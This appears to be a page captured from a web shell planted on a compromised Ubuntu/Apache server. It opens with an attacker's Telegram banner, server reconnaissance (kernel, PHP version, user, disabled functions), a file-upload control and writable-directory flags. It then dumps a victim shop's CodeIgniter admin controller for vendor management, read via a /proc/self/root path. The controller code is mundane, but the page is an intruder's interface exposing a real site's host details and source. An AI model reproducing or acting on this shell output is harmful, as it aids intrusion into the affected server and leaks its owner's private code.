https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /proc/self/root/var/www/laciasmara.com/public_html/shop/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/laciasmara.com/public_html/shop/application/controllers/admin/Vendors.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class Vendors extends Admin_Controller
{

	//this property is used for validating existing brand title on call back edit brand
	private $brand_current_id = NULL;

	function __construct()
	{

		parent::__construct();
		$this->load->model('vendors_m');
		$this->load->model('product_m');
	}

	//this is to list all brands
	public function index()
	{
		//get all vendors
		$this->data['vendors'] = $this->vendors_m->get_all_vendors();

		//load view
		$this->data['subview'] = 'admin/vendors/index';
		$this->load->view('admin/templates/header', $this->data_header);
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');
	}

	// view add
	public function add()
	{
		$this->data['vendors'] = $this->vendors_m->getNewVendor();

		$this->data['subview'] = 'admin/vendors/edit';
		$this->load->view('admin/templates/header', $this->data_header);
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');
	}

	// view edit
	public function edit($id)
	{
		$this->data['vendors'] = (object) $this->vendors_m->getEditVendor($id);

		$this->data['subview'] = 'admin/vendors/edit';
		$this->load->view('admin/templates/header', $this->data_header);
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');
	}

	public function delete($id)
	{
		//logging
		$user_id = $this->session->userdata('admin')['id'];

		$this->db->select('vendor');
		$this->db->from('vendors');
		$this->db->where('id_vendor', $id);
		$query = $this->db->get();
		$data = $query->row();

		if ($data) {
			$activity = 'User menghapus vendor (' . $data->vendor . ')';
		} else {
			$activity = 'User menghapus vendor (' . $id . ')';
		}

		log_activity($user_id, $activity);
		$this->db->delete('vendors', array('id_vendor' => $id));

		$this->data['vendors'] = $this->vendors_m->get_all_vendors();

		$this->data['subview'] = 'admin/vendors/index';
		$this->load->view('admin/templates/header', $this->data_header);
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');
	}

	public function addVendor()
	{
		$vendor = $this->input->post('vendor_name');
		$email = $this->input->post('vendor_email');
		$alamat = $this->input->post('vendor_alamat');

		$config = $this->vendors_m->rules;
		$this->form_validation->set_rules($config);

		if ($this->form_validation->run() == false) {
			$this->data['vendors'] = $this->vendors_m->getNewVendor($vendor, $email, $alamat);
			$this->data['subview'] = 'admin/vendors/edit';
			$this->load->view('admin/templates/header', $this->data_header);
			$this->load->view('admin/_layout_main', $this->data);
			$this->load->view('admin/templates/footer');
		} else {
			$this->vendors_m->addVendor($vendor, $email, $alamat);
			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Vendor berhasil ditambahkan</p>');
			$this->index();
		}
	}

	public function editVendor($id)
	{
		$vendor = $this->input->post('vendor_name');
		$email = $this->input->post('vendor_email');
		$alamat = $this->input->post('vendor_alamat');

		$config = $this->vendors_m->rules;
		$this->form_validation->set_rules($config);

		if ($this->form_validation->run() == false) {
			$this->data['vendors'] = $this->vendors_m->getNewVendor($vendor, $email, $alamat, $id);

			$this->data['subview'] = 'admin/vendors/edit';
			$this->load->view('admin/templates/header', $this->data_header);
			$this->load->view('admin/_layout_main', $this->data);
			$this->load->view('admin/templates/footer');
		} else {
			$this->vendors_m->editVendor($id, $vendor, $email, $alamat);
			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Vendor berhasil diedit</p>');
			$this->index();
		}
	}
}

https://t.me/RX1948 - 2025